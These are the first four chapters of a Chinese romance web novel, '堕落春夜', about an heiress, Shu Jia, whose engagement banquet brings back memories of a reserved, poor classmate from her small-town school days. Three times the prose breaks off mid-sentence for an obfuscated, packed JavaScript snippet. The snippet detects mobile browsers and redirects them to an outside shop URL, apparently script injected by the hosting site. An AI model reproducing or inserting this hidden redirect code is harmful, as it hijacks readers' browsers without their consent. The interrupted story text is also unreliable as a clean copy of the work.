《堕落春夜[gb]》 1. 堕落春夜 《堕落春夜》 却蓝/文 2026年初,晋江文学城独家发表 —— 三月初,雨连着下了小半月,整个川港都弥漫着湿潮。 化妆间的窗户开着,舒嘉才换过裙子,后背大片镂空,冷不防被风一吹,凉飕飕的。 助理安雅赶紧跑过来给舒嘉披上薄毯,又客客气气地催促一旁的化妆师:“订婚宴还有不到半小时就要开始了,麻烦您快点。” 化妆师一边点头一边忙得一头汗,恨不得生出八双手来,舒嘉倒是一点不着急,懒洋洋倚着椅子,对着镜子整理着耳朵上的白钻耳夹。 是她自己设计的款式,White今年的冬季限定款,以浪漫雪山为主题,寓意纯白无瑕的爱。 一转眼,回到川港也有好几年了。 哥哥为爱情和家里决裂,父亲舒知行无奈之下,只得把舒嘉叫回川港帮忙打理家业。 没人相信这位娇贵的舒大小姐真能做出什么事业来,好在舒家家大业大,倒也没那么容易在她手上败光。 没想到舒嘉回来不过短短一年,不仅雷厉风行地解决了许多连舒知行都力不从心的麻烦,还创立了自己的珠宝品牌White,几年功夫便在业内名声大噪,每个季度的作品还没开售就被抢定一空。 川港首富之女的订婚宴,受邀到场的宾客都是上流圈子里有头有脸的人物,虽然以White现在的名气,根本不需要舒嘉亲自宣传,但舒嘉依然毫不吝啬每一个可以展示她作品的机会。 毕竟这也是这场无趣的订婚宴上,她唯一的一点乐趣了。 “嘉嘉,你真打算和谢令书结婚啊?”郑歆宜手肘撑着化妆台面,歪着脑袋,百无聊赖地看化妆师在舒嘉脸上描描画画,“作为过来人,我可得劝你一句,联姻需谨慎,不然等你后悔的时候,想跑都没得跑。” 舒嘉从镜子里瞥了自己的好姐妹一眼:“想什么呢?拿他挡挡外面那些烂桃花而已。” 自从回了川港,总有不知好歹的人挖空了心思地想往她身边凑,舒嘉实在懒得在这些让她提不起丝毫兴趣的人身上浪费时间。 既然一枚婚戒就能解决这些麻烦,她并不抵触拥有一个名义上的未婚夫。 舒嘉和谢令书算是从小认识,整个川港,家世财富能配得上舒大小姐的,也就只有这位远恒集团的公子哥了。双方长辈也知根知底,联姻似乎成了两家默认的事。 舒知行只有舒嘉一个宝贝女儿,本来是没打算让舒嘉太早结婚的,说起来,这事都要怪她那个恋爱脑发作的哥哥。 舒远在一场慈善资助会上看中了个一贫如洗的年轻女大学生,对那姑娘一见钟情,不顾舒知行疾言厉色的反对,直接领着人去民政局领了证,舒知行被气得当场呕了血。 已经有了一个行事胡闹的儿子,舒知行绝不容许集团的脸面再有任何损失,更不允许唯一的女儿再做出她哥哥那样的荒唐事来,这才把联姻的事提上了日程。 两人早就在家宴上交换过婚戒,今天这场订婚宴,只是为了在媒体面前做个官宣,顺带宣布一下舒氏和远恒接下来要合作的几个大项目,谈一谈投资的事。 “那就好,我还以为你和谢令书日久生情,真打算谈了呢。谢令书那种装货,怎么配得上我们嘉嘉嘛?”郑歆宜松了口气,“要我说,叔叔就是太着急了,现在川港优秀的年轻男人那么多,干嘛非得吊在一棵树上。” 说到这里,郑歆宜忽然想到什么,掏出手机点开相册,神秘兮兮递到舒嘉眼前,“嘉嘉你看,刚才我在楼下遇到的大帅哥,本人真的好帅好帅!好多媒体怼脸在拍,听说是予一集团的总裁,就是今年从远恒手里抢走了好几个上亿大项目的那个予一!没想到予一的总裁这么年轻啊……” 舒嘉在郑歆宜过分夸张的感叹声中低下视线,看见照片里那张有些熟悉的面容,微微怔了下。 化妆师替舒嘉理好精心卷过的长发,海藻般的发尾蓬松地垂落在心口,挡住了照片上男人的脸。 不及舒嘉探究清楚那股模糊的似曾相识之感从何而来,砰砰,有人叩响了化妆间的门。 “嘉嘉,你好了吗?”是谢令书温柔的声音,“伯父在催了。” 郑歆宜连忙收回手机,舒嘉也随之移开了视线,随口应了声,“知道了,就来。” 安雅收起薄毯,有雨丝被风送进屋里,落在舒嘉赤.裸的肌背上,粘腻的、湿漉漉的。 像眼泪揉进掌心,又像是被唇瓣吻过,明明只是再普通不过的雨天,却因刚才不经意朝照片瞥去的那一眼,生出许多久违的、恍惚而不真实的感受。 “嘉嘉?想什么呢。”郑歆宜伸手在她眼前晃了晃,“快走吧,都等着你呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214118|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒嘉回神,推门出去,谢令书站在门口,一身紫色高定西装,半框金丝眼镜,浑身透着贵气。 他朝她伸出手,微笑得体。 舒嘉深吸一口气,挽住谢令书的手臂,从游离的思绪中挣脱,尽量进入她未婚妻的角色,朝电梯走去。 蓝庭海邸是川港最豪华的度假酒店,也是舒氏集团最得意的产业之一。 三楼宴会大厅里,钢琴师弹奏着高雅舒缓的乐曲,红酒和甜品的香气在空气里流溢。 舒嘉和谢令书一出现,立刻有人笑着迎上前寒暄起来。 “恭喜啊舒小姐。” “你和令书很早就在一起了吧?上次舒董做东,翡湖庄园那回,我就看出来了,只不过没敢问哈哈,没想到是真的。” 舒嘉漫不经心地听着,这样的场合她见得太多,实在没什么心情应付。 好在圈子里的人都知道这位舒大小姐的性子,对于不感兴趣的事物,舒嘉一贯是这副态度。 可是,能让舒大小姐感兴趣的东西毕竟不多。 生意、投资、项目……能谈的都谈完了,他们也就只能把目光投向一旁温和客气的谢令书,继续说着干巴巴的恭贺话。 “听说舒小姐和谢先生都是彼此的初恋,哎,从小一起长大的情分,真让人羡慕啊。”有位夫人笑着说。 初恋? 舒嘉不禁发笑,她连爱过的人都没有,哪里来的初恋。 这些人想要讨好奉承,也不能张口就造谣啊。 舒嘉正要反驳,忽然瞥见不远处,水晶吊灯落下柔亮的光线,人群簇拥之间,站着一个黑西装的高个子男人。 他站在那里,一身过分肃穆单调的黑,与周围的一切都格格不入。 那一刹,舒嘉无端地想到许多无关的事物,入夜的冷风,沉静转动的钟表,纸背折起的深痕。 他身旁的人察觉到舒嘉的视线,隔着嘈杂人声,舒嘉听见有人向他殷勤介绍,那位就是舒小姐,谢总的未婚妻。 男人顺着他的话转过脸,四目相对,舒嘉眼中有一瞬的错愕。 杂乱光影覆过他高挺的鼻梁,冷淡的薄唇。 舒嘉惊讶于自己竟然还能想起那个已经有些遥远的名字—— 好像那时候,也是这样潮湿的雨天。 那是她第一次见到贺屿白。 2. Fallen spring night [Fallen spring night……] 高三那年寒假,舒嘉和家里大吵一架后,不顾舒知行和母亲尹茹的挽留劝阻,执意办了转学手续,离开川港,去了舅舅家住。 舅舅尹杭住在栖塘镇,那里是外婆的故乡。 几年前外婆去世,尹杭不远千里将外婆的骨灰送回镇上,埋在后山。之后就一直住在外婆的旧宅,一边陪着外婆,一边做些小生意养家。 舒嘉坐了两个小时的专机,又在舒知行派来送她的专车上迷迷糊糊睡了七八个小时,睁开眼,就看见了早早等在路口迎接她的尹杭和舅妈陈晚玉。 “嘉嘉累了吧?这镇子偏得很,进来的路不好走,车开得肯定不舒服,看把我们嘉嘉折腾的。”尹杭赶紧上前打开车门,心疼地看着舒嘉发白的小脸,“快进屋坐,你舅妈给你做了洋芋蒸排骨,还炖了鱼汤,都是你爱吃的。” 舒嘉走下车,还没从晕车的不适里缓过劲来,在原地站定几秒,才分出神来,朝两人扬起微笑:“谢谢舅舅舅妈。” 这座朴素的小镇,和喧闹繁华的川港是截然不同的景象。土路两旁是一座座独门独栋的小院,看着像是八九十年代的老式建筑,草草翻新过,勉强染上几分新时代的味道。 前天才下过雨,院子里摆着的花花草草被浇得七零八落,陈晚玉还没来得及收拾,一边引着舒嘉避开地上的狼藉,一边歉疚解释,“家里有点乱,嘉嘉别嫌弃。” 舒嘉笑说:“舅舅舅妈别嫌弃我才好,我突然住进来,要给你们添不少麻烦呢。” “嘉嘉哪儿的话?跟舅舅客气什么。”尹杭端着菜从厨房里出来,看见舒嘉正坐在餐桌前,无聊地用手指描着桌布上的绿白格子纹,他脚步顿了顿,朝陈晚玉使了个眼色。 陈晚玉收到尹杭眼神里的示意,倒了杯水,犹豫半天才走过去递到舒嘉面前,轻咳一声,尽量装作不经意地开口:“嘉嘉,你爸妈的事……你别太放在心上。学业要紧,大人们的事,就让他们自己处理吧。你就安心住在我们家,什么都不用想。” 舒嘉接过水杯,抿了口寡淡无味的凉白开。一抬头,看见陈晚玉还站在桌边担忧地看着她,似乎还想说点什么,又怕惹她厌烦。 舒嘉弯唇冲她笑笑,“我知道的,舅妈。” 她看向面前的鱼汤,搓手做雀跃期待状:“好久没尝到舅妈的手艺了,我能先尝尝吗?” 陈晚玉连忙递上筷子,自己也拉开椅子在对面坐了下来。 尹杭小心地打量舒嘉,舒知行在电话里说,舒嘉这次闹了不小的脾气,他管不住她,只得派人把舒嘉送来,希望尹杭能代替他照顾舒嘉一阵子。 可他看舒嘉仍然是记忆里那副大方自在的模样,好像并没有因为父母出轨的事而烦心。 尹杭和陈晚玉对视一眼,心照不宣地撑起笑容,和舒嘉闲聊起镇子上的事。 舒嘉适时礼貌地回应几句,事实上,她心里的那点不痛快,早在专机驶离川港地面的那一刻就消散得差不多了。 那天是郑歆宜的生日,因为突然下起了不小的雪,怕路上不好开车,生日会提前散了场,舒嘉比报备的时间早了一个小时回到家。 她推开尹茹的房门,想给尹茹报个平安,却看见尹茹衣衫不整地和一个陌生的男人抱在被子里,地上还扔着好几只拆开的套。 舒知行和尹茹是圈子里出了名的模范夫妻,舒嘉从记事起就知道,她有一对十分恩爱的父母,他们年少相识,携手共经风雨,过去的故事还曾被不少媒体写成报道发表,是人人艳羡的佳话。 直到舒嘉看见那一幕,她的世界地动山摇,开始出现不可愈合的裂缝。 在尹茹慌乱的目光中,舒嘉推门跑出去,冒着大雪坐回车里,语无伦次地让司机开去舒氏总部。 她不知道该怎样面对尹茹,本能驱使着她,想要躲在父亲的身边。 可是当舒嘉匆忙推开舒知行办公室的门,想要对他倾诉尹茹荒唐的行为时,却惊愕地看见舒知行正把他的秘书按在沙发上,一边剥着那女人的套裙一边亲她,呼吸粗重。 二十余年的恩爱夫妻,原来不过是做戏哄人的表象,内里是发霉烂掉的絮子。 不可置信的震惊愤怒过后,舒嘉只剩下生理性的恶心。 离开川港,离开那个曾经让舒嘉觉得温馨幸福的家,于舒嘉而言,确有刮骨疗毒的痛感,但她习惯于这样解决问题,且效果显著。 比如现在,她已经开始认真品味起陈晚玉做的鱼汤,和川港家里的厨子是完全不同的口味,细腻,清淡,却有鲜甜的回甘。 一顿饭吃得很愉快。 陈晚玉带着舒嘉去了二楼为她准备的房间,从桌椅到床,大大小小的家具全部换了新的,就连四件套都特地买了舒嘉喜欢的棕熊图案。 “早点休息,明天还要早起去学校呢。”陈晚玉关门前温声叮嘱。 舒嘉把自己裹进陌生的被子里,闭上眼睛。 半夜的时候,窗外下起了雨。 老旧的窗子摇曳着,雨声淅淅沥沥。 舒嘉难得睡了个好觉。 她神清气爽地起了床,吃过陈晚玉精心准备的早餐,收拾好书包,推门出去时,司机李叔已经等在路边,见了她便端起恭敬的笑:“大小姐,我送您。” 这是舒知行同意她离开家的条件,必须由他安排的司机送她上下学。 李叔是在舒家做事的老人了,舒嘉叹了口气,不想为难李叔,于是点了点头。 李叔殷勤地替舒嘉拉开车门,已经是家里最低调的一辆,但开在栖塘镇古旧的街道上,却是无可避免的回头率百分百。 当舒嘉去校长办公室办完入学手续,走进三班的教室时,关于她的身份,已经像神话般在班上传开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214119|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川港首富的女儿,坐拥亿万身家的千金大小姐。 这样的人出现在他们身边,简直就像做梦一样不真实。 就连班主任都一改往常严厉的口气,笑容满面地把舒嘉领到讲台前第一排的“宝座”。 舒嘉知道,这个位子,通常只有班里成绩最好的学生才有资格坐。 舒嘉看了一眼旁边的位子,座位空着,却应该是有人坐的,桌面上书本整整齐齐摆在桌角,一只用旧了的黑色笔袋,拉链褪了漆色,一丝不苟地闭合,没留一点供人窥探的缝隙。 那空位很快被班上的同学们围拢,他们小心翼翼地和舒嘉打招呼,带着试探,带着好奇。 舒嘉扬起笑容大方地一一回应,从来不会露出不耐烦的神色。 没有人会不喜欢这样的女孩子。 高贵,优雅。生来就和他们不同,却没半点架子。 几个课间的功夫,同学们就已经和舒嘉熟络起来,一下课就围在舒嘉身边好奇地问这问那。 比如,媒体爆料的那些关于舒氏集团财产的消息都是真的吗? 她家里是不是真的买下了一片海专门给她度假用? 她脖子上的项链,是不是热搜上那条价值三千亿的孤品“白翡”? “是仿品啦,戴着玩儿的。”舒嘉及时反驳。 一条“假”的项链,显然比真品更能打消他们之间的界限和隔阂,这样与人交际的浅薄道理,舒嘉从来都无师自通。 川港的国际高中管理没那么严格,女生们都爱戴些小首饰。舒嘉后知后觉想起这里的学校应该不允许戴饰品,于是便把项链摘了下来。 有个女生好奇地伸手摸了摸,忍不住发出惊叹,“仿品也好漂亮诶……” 女生们对首饰似乎生来就没有抵抗力,舒嘉很快被一群女孩子包围,闹哄哄地挤成一片。 忽然,舒嘉听见一声不合时宜的推门声。 她循声转过头,看见一个高瘦的男生站在门口,蓝白的校服洗得发白泛旧,裤脚垂过脚踝,脚上是一双磨损过度的帆布鞋。 他的头发淋了些雨,黑亮亮的潮湿,额头前的碎发掩过眼睫,衬出清冷疏离的瞳孔。 直到此刻,舒嘉终于在那些乏味枯燥的问题之外,看到了一点不一样的东西。 刚才摸过舒嘉项链的女生吴婷凑过来,悄悄地告诉舒嘉:“他叫贺屿白,听说他奶奶生病了,他请了几节课的假回去照顾,所以现在才来学校。” 舒嘉了然地哦了声,视线仍旧停留在门口男生的脸上。 贺屿白攥紧了书包带子,望着眼前这个如此突兀张扬地闯入他寂静领地的女孩,很轻地皱了下眉。 他沉默着,看见舒嘉以一种主人的慵懒姿态,坐在那片不属于他的热闹之中,眉眼熠熠地扬起笑,大大方方朝他开口。 “你好,我叫舒嘉。” 3. Fallen spring night [Fallen spring night……] 贺屿白盯着舒嘉看了几秒,没有说话,一言不发地朝他的座位走去。 围聚在舒嘉身边的女生自觉地往后退开,让出贺屿白的位子。 舒嘉眨眨眼,并没有因为对方的不理睬而尴尬或是不高兴,一双明灿的眼睛,仍然追随着贺屿白的一举一动。 他放下书包,拿出下节课要用的课本和试卷,从始至终,没有回应舒嘉任何。 吴婷拽拽舒嘉的袖子,小声说:“他这人性格有点孤僻,跟班上的人都不太合群,平时也不怎么和大家说话,你别理他就好啦。” 叮铃铃,上课铃响了。 吴婷来不及叮嘱更多,赶紧小跑着回到自己座位上。 舒嘉撑着下巴,朝贺屿白打开的试卷上瞥去一眼。 左上角的姓名栏,字迹清秀工整。 走廊里响起英语老师踩着高跟鞋的脚步声,课间的喧闹声随之渐渐安静,仍然有人在低声说话,舒嘉就在那片嗡动的、不真切的话音里,自言自语地逐字念过去,确认着他的名姓。 “贺、屿、白。” 她的咬字很好听,矜贵、漂亮。 好像再普通的字眼经由她的口中说出来,都会变成美丽耀眼的珍宝。 贺屿白笔尖停住,墨水在灰白的纸面上洇出一点显眼的渍。 他终于抬头,余光看向身旁的女孩,她却已经收回了视线,懒懒翻找起课本来。 直觉告诉贺屿白,舒嘉该是离他很远的人。 却如此夺目地坐在他的身旁,将他卷入一些他这一生都不会触及的,暴风雪和海啸般的热闹。 一到课间,舒嘉的周围总会聚着很多人。 她无疑很受欢迎,即使偶尔有人尖酸刻薄地讥讽她不过是命好捡到根金汤匙而已,舒嘉也能微笑得体地,以一种不会两败俱伤的方式轻松应对。 她身上有种与生俱来的的游刃有余,那是很多人终其一生也无法学会的本领。 偶尔的,舒嘉也会把贺屿白拉进她的话题之中。 “她们说食堂小窗口的烧排骨很好吃诶,你有吃过吗?” 还有一节课就到吃晚饭的时间了,吴婷拉着几个女生,邀请舒嘉和她们一起吃饭。 舒嘉歪歪脑袋,看向旁边还在写习题的贺屿白。 贺屿白不自在地抿唇,摇了摇头。 在他过分敏锐的感知里,舒嘉的热情是种一视同仁的施予,与他无关,只是因为在她的领地,她不允许有人受到冷落。 舒嘉已经对他的沉默习以为常,也就顺其自然地转过脸,继续和吴婷讨论起食堂里菜品的口味。 最后一节课的铃声一响,同学们跟赛跑似的呼啦啦地往外冲,生怕晚了一秒就只能老老实实地等着排队,整个教学楼都淹没在轰鸣的脚步声里。 舒嘉最后还是没和吴婷一起去食堂,这种轰动的抢饭场面虽然她中午已经见过一次,但依然觉得震撼,简直比舒氏集团发布会上那些扛着相机争抢着要挤进内场的媒体们还要疯狂。 她惊叹到失语,又觉得新奇。 晚饭舒嘉向来吃得不多,不吃也不会觉得饿,她习惯于在这个时间补觉,补回白天消耗掉的精力。 李叔却准时出现在教室门口,手里还拎着饭盒,“大小姐,舒董怕您吃不惯这边的口味,特意从家里安排了两个厨子过来,以后我会每天给您送饭。这里的食堂环境太恶劣,舒董说,不许您吃那些不干净的东西。” 李叔笑容满面,把饭盒摆到舒嘉眼前,体贴地打开盖子,又拿来她专用的筷子和汤匙。 舒嘉不大高兴地皱眉,想说她不饿,李叔却已经弓着腰溜了出去,他还记着在川港时候的规矩,不可以打扰大小姐用餐。 西兰花虾仁炒饭,配山药排骨汤,切得薄薄的牛肉片,纹路完美漂亮,还有一份她爱吃的红豆沙甜点。 一看就是家里厨子为了她这个高考生量身打造的健康餐,都是简单的菜式,却做得道道精致。 舒嘉握着筷子,哀怨地叹了口气。 正发着愁,却忽然听见一阵细碎的,塑料包装纸的声响。 舒嘉转头,这时才发现,贺屿白也没有去食堂。 空荡安静的教室里,不知道什么时候起,只剩下她和贺屿白。 男生低着头,手里拿着一片面包,像是很大一袋的那种,只剩下最后一片,边角都干巴巴的,发着廉价的皱。 他的动作已经足够小心,似乎极力不想发出声音来,但在无人的教室里,那点细微的声音却被突兀地放得很大。 感受到舒嘉的视线,贺屿白攥着透明的塑料纸,没有再动。 唯有手背上的青筋隐忍地鼓起,冷白指骨一粒粒地分明,嶙峋,清瘦。 让舒嘉想起她十六岁那年生日,去国外攀过的陡峭雪山。 山路被经年积雪覆盖,越往高处氧气越稀薄,但舒嘉享受那种感觉,她乐于征服旁人无法征服的事物,踏足旁人不可踏足的圣洁之地。 舒嘉思考片刻,把饭盒推到贺屿白的桌子上。 “可以帮我个忙吗?”舒嘉故作苦恼,撑腮看他,“ 我中午吃得有点撑,到现在还没消化呢。可是如果不吃完,被我爸爸知道,又要挨骂了。” 舒嘉的前半句话的确没有撒谎,早上出门前陈晚玉往她书包里塞了两个精心制作的饭团,用料过于丰富扎实,已经远远超过了舒嘉小鸟胃的饭量。 饭盒里的菜肴显然经过精心搭配,青绿浅红,是她的世界绚烂的颜色。 贺屿白只看了一眼就迅速移开视线,好在在拒绝别人这件事上,他一向得心应手。 可是他抬起眼,还不及说话,就看见女孩眉眼灿灿地,“谢谢你啦。” 她迅速把筷子递到他面前,像是发自肺腑地感激他帮了自己一个大忙,语气都变得快乐而雀跃,“呼,还好你愿意帮忙。” 他难堪的沉默,被舒嘉理所当然地理解为默许。 好像在她的认知里,她的要求,她的话语,没有人该拒绝。 出乎意料的,贺屿白并没有在舒嘉自作主张的“命令”下,感觉到任何的不舒服。 她像童话故事里的美丽女巫,莫名地,有一种令他遵守顺从的魔力。 舒嘉歪着脑袋枕在胳膊上,看着男生犹豫地拿起筷子,开始吃她的晚餐。 他吃得很快,却没有任何不文雅的声音。 眼睫密密地低垂,落下一片灰暗沉闷的影子。 他的嘴唇生得很漂亮,轮廓薄而淡,舒嘉记得,好姐妹郑歆宜疯狂沉迷于玄学面相的那段时间曾经和她说过,这样的人天生冷情。 察觉到身旁女孩的目光,贺屿白有些不自在,好像他是路边橱窗里一件她从来没见过的展品,她的打量带着新鲜和好奇,是一种毫不遮掩的观察,却偏偏让他无法讨厌。 贺屿白沉默地加快了速度。 等他把饭盒里的饭菜吃完,才发现舒嘉已经背过身去,趴在桌子上睡着了。 柔顺的长发扎成一个低低的马尾,有一缕没扎进去的发丝,很随意地落在他的桌角,越过了他们课桌之间那道隐晦的分界线。 她的发梢,有很淡的玫瑰香气。 令贺屿白感到从未有过的拘束,无措。 却又只能任由那缕发丝停留在他的桌上,肆无忌惮地占领他的地界。 贺屿白很轻地站起身,拿着饭盒出去,在水龙头下一遍遍地冲洗。 洗到一半他才想起,那样出身优越的女孩,这套被他用过的餐具,大概率会被直接丢掉,根本没有清洗的必要。 但贺屿白还是在水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214120|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流下仔细地擦洗了很多遍,直到一双手被冷水浸泡出不自然的红。 连着一周,舒嘉以她胃口不好、胃疼不舒服、甚至虾仁过敏等种种理由,让贺屿白帮她吃了一周的晚饭。 她似乎已经把这件事当作一种心照不宣的约定,他帮她消灭那些食物,她省出时间来睡觉,彼此分工明确,互不打扰。 舒嘉用很短的时间就摸透了贺屿白的“习性”—— 他的生活太过规律机械,实在没有深入观察的价值可言。 吴婷的评价的确中肯,他几乎从来不和班上的同学说话,除了听课就是做题,名字永远稳稳占在测验成绩单的第一位。 只有一件事除外。 每隔几天,放学后舒嘉收拾书包的时候,都会看见贺屿白从桌膛里拿出一堆大大小小的信封,大多数都是那个年纪的女生最喜欢的粉色,也是最能代表少女情思的颜色。 有的会在信封上郑重其事地写上“贺屿白收”,有的会画一个羞涩的爱心。 年级第一的优秀成绩,又长了一张让人过目难忘的脸,虽然性格冷淡得有些不近人情,但对于那些情窦初开的女生们,无疑有着强大的吸引力。 舒嘉很能理解。 但舒嘉并没有看到,贺屿白从来没有打开过那些信中的任何一封,而是在走出校门后,面无表情地扔进路旁的垃圾桶。 他没有体察别人情绪的习惯,所以选择用这样残忍的方式来拒绝,省时,省力,并且能最大限度地减少后续的麻烦。 哪怕有几次碰巧被几个曾经给他写过情书的女生看见,贺屿白依然选择了无视对方难过泛红的眼睛,丢掉,离开。 但那些情书的数量不仅没有减少,反而一天比一天多了。 “你好像很受欢迎哦。”晚自习最后一节课前的课间,舒嘉目送走一个匆忙塞了封情书跑开的低年级女生,在贺屿白从洗手间回来的时候,带着一点狡黠的笑,对他说。 贺屿白抿唇,耳根有一点很难察觉的红。 在他过往的人生里,并没有人会对他说这种类似玩笑的话语,他还没有学会该如何正确地应答。 那点红却被舒嘉敏锐地捕捉,她笑得更加明灿,背起书包朝贺屿白快乐地挥手:“我先走啦,拜拜,明天见。” 教室里的人都走光了。 贺屿白和往常一样,沉默地把杂乱的信封收起,挎过书包,走出教室。 走到外面才发现又下起了雨,路灯的光线把雨照得清晰分明,发丝一样地落下来。 他走到垃圾桶旁,借着那点被雨水晕染得忽明忽暗的灯光,看见那堆千篇一律的粉色里,有一角显眼的白。 贺屿白愣了下,把那封白色的信挑出来,只有一张单薄的纸,没有装在精心挑选的信封里,却很灵巧地折成信的形状,露在外面的部分,印着一只可爱的棕熊图案。 ——他在舒嘉的本子上,看到过的图案。 晚风吹过树梢,叶子沙沙,树影摇晃,他的心好像也跟着砰砰乱晃。 鬼使神差地,贺屿白打开了那封信。 他先是看见了纸里包着的一块巧克力,是他从来没见过的昂贵牌子,一串复杂冗长的英文字母,然后才是舒嘉的笔迹。 “谢谢你这几天帮我的忙哦。” 潦草字迹末尾,附赠一个随手画上的笑脸表情。 舒嘉指的,当然是帮她消灭晚饭这件事。 一件对她来说无足轻重的小事而已,她只是想要借这种方式,来调侃一下他这个“备受欢迎”的人。 贺屿白站在雨里,长长的眼睫垂落,有雨水砸在他的鼻尖。 很久之后,他剥开巧克力的包装纸,咬下一口。 很苦很苦,苦到喉咙粘腻、发涩。 可是咽到最后,却又有一点点让他眷恋的甜。 4. Fallen spring night [Fallen spring night……] 对于这个微不足道的的小插曲,贺屿白没有在舒嘉面前表现出任何回应。 舒嘉也很快把这件事忘在脑后,她的生活里总有很多新鲜的事,不止身边的,还有遥远的川港。 郑歆宜每天都哀嚎着发来语音消息,问舒嘉打算什么时候回川港,舒嘉不在,她快要无聊死了。 川港国际高中是允许带手机的,但这里的高中管理得非常严格,虽然舒知行早就打过招呼,没人敢管舒嘉什么,但舒嘉还是不想太引人注目。 她趴在桌上假装睡觉,一只手快速滑动消息,浏览郑歆宜和她分享的班级八卦,偶尔回复几句,安抚一下好姐妹寂寞的心。 贺屿白无意窥探舒嘉的隐私秘密,但那一次,舒嘉去洗手间的时候,手机忘了关震动,有电话打过来,在她的桌膛里嗡嗡地震响。 直到贺屿白写完试卷上最后一道大题,那个电话依然不知疲倦地打来。 他低头看过去,亮起的手机屏幕上,显示着“谢令书”三个字。 太久无人接听,电话自动挂断。几秒钟后,屏幕熄灭。 贺屿白从桌膛里抽出一张新的试卷。 眼角余光里,漆黑的屏幕又重新亮起,备注是“谢令书”的人发来消息。 “嘉嘉,怎么不接我电话?” “你什么时候回学校,记得提前和我说一声,我让家里司机去接你。” “我订了场子,高考完去休斯威的海滩别墅玩,那边的椰子挞和白葡萄酒最有名,应该会是你喜欢的口味。” 嘉嘉。 贺屿白的视线,不自觉地在这两个字上多停留了几秒。 他很快转回目光,沉默地换好一支廉价漏墨的笔芯,做起枯燥乏味的物理题。 舒嘉从洗手间回来,用带着好闻橘子香氛的纸巾擦过手,她的洗发水好像也换成了清新的橘子香味,让人想到夏天的泳池,炙热直白的阳光。 贺屿白喉结动了动,终于还是低声提醒:“刚刚有人打电话给你。” 舒嘉坐回座位,拿起手机,看见谢令书发来的几条长消息,皱起眉头,直接把聊天框删除。 舒嘉不喜欢这种没有边界感的人,明明和她一点都不熟,只是在年宴上见过几次,舒知行知道他碰巧和舒嘉同班,便嘱咐谢令书在学校里多照顾照顾她。 舒嘉把手机调回静音,歉然看向贺屿白,“抱歉,是不是吵到你了?” 贺屿白摇头。 晚自习铃响,舒嘉的注意力顺其自然地被分散,贺屿白继续沉默地做题,而她随手点开郑歆宜发来的几张美食照片,位置显示,是川港国际高中食堂新开的西餐档口。 舒嘉承认,她的确有点怀念川港,但也只有一点点而已。 作为对自己的补偿,舒嘉决定放学后去学校门口的小吃街转转。 她很早就注意到那条街了,晚自习结束之后,整条街都是一股她从来没闻过的奇妙香味,杂乱,廉价。 对于未知的事物,舒嘉总是乐于尝试,她早早给李叔发了信息,告诉他晚点再来接她。 终于熬到放学铃响,舒嘉快乐地站起身,和贺屿白说了声拜拜就走了。 贺屿白看着舒嘉的背影消失在教室门口,书包上毛茸茸的棕熊挂件,随着她的脚步轻快地晃动。 贺屿白低头,看向桌膛里那堆积攒了好几天的粉色信封。 他伸手一封封地拨开,一遍,两遍。 而后他终于能够确认,那个棕熊图案,再也没有出现过。 很遗憾,哪怕那只是舒嘉一时兴起的无聊消遣,他也没能具备吸引她兴趣的能力。 而意外的,贺屿白感觉到,自己竟然会因此而落寞。 * 舒嘉庆幸于早上出门前陈晚玉很有先见之明地往她书包里塞了把雨伞,不然她现在应该早就淋成了落汤鸡。 好在雨渐渐小了,舒嘉走出校门的时候,只剩细润的雨丝,落在脸上,几乎察觉不到。 但因为下雨的缘故,今晚出摊的人比平时少了很多,对比之下,显得十分冷清。 昏暗的路口,有个头发花白的老奶奶推着破旧的小车,把手上挂着个木牌,用笨拙的字迹写着,“纸杯蛋糕 3元/个”。 虽然是春天,但才下过雨,风一吹,晚上还是凉飕飕的。老奶奶搓着手,守着还没卖出去的几个小蛋糕,冻得来回跺脚。 甜品脑袋的舒嘉略作思考,走到摊位前。 蛋糕的卖相比舒嘉想象中的要好很多,看得出来是手工烤制,几年前川港也流行过这种样式简单又小巧的纸杯蛋糕,不过放在现在,是有些过时了。 “只剩这几个了吗?那我都要啦,可以用袋子帮我装一下吗?”舒嘉扬起笑脸。 老奶奶感激地接过舒嘉递来的钱,“谢谢,谢谢你。” “奶奶的蛋糕做得好漂亮啊,如果再加点小饼干或者果酱装饰就更好了。”舒嘉笑说,“我看市里的蛋糕店现在都流行这种呢。” 老奶奶去拿塑料袋的手顿了下,她听得明白女孩话里善意的提点,这个年纪还小却漂亮大方的女孩,不仅看出了自己的窘境,买下了她卖不出去的蛋糕,还好心地告诉她或许能够提高销量的方法,以一种完全不令人讨厌的方式。 “我年纪大了,那些手艺,学不来了。”老奶奶叹了口气,把舒嘉的蛋糕递给她。 舒嘉咬了一口蛋糕,出乎意料的,味道竟然不错。 